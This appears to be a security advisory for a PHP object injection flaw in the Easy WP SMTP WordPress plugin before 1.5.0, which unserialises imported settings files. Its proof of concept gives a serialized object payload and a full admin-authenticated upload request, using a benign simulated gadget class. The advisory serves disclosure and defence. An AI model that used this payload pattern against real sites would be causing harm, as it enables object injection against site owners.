WordPress Plugin Vulnerabilities
Easy WP SMTP < 1.5.0 - Admin+ PHP Objection Injection
Description
The plugin unserialises the content of an imported file, which could lead to PHP object injection issue when an admin import (intentionally or not) a malicious file and a suitable gadget chain is present on the blog.
Proof of Concept
To simulate a gadget chain, put the following code in a plugin class Evil { public function __wakeup() : void { die("Arbitrary deserialization"); } } Create a file named settings.json with the following content and import it via the Import function of the plugin (in Additional Settings tab): O:4:"Evil":0:{}; POST /wp-admin/options-general.php?page=swpsmtp_settings HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------127630456919881657704041725253 Content-Length: 747 Connection: close Cookie: [admin] Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin -----------------------------127630456919881657704041725253 Content-Disposition: form-data; name="swpsmtp_import_settings" 1 -----------------------------127630456919881657704041725253 Content-Disposition: form-data; name="swpsmtp_import_settings_file"; filename="easy_wp_smtp_settings.json" Content-Type: application/json O:4:"Evil":0:{}; -----------------------------127630456919881657704041725253 Content-Disposition: form-data; name="easy_wp_smtp_import_settings_nonce" e1cde708ae -----------------------------127630456919881657704041725253 Content-Disposition: form-data; name="_wp_http_referer" /wp-admin/options-general.php?page=swpsmtp_settings -----------------------------127630456919881657704041725253--
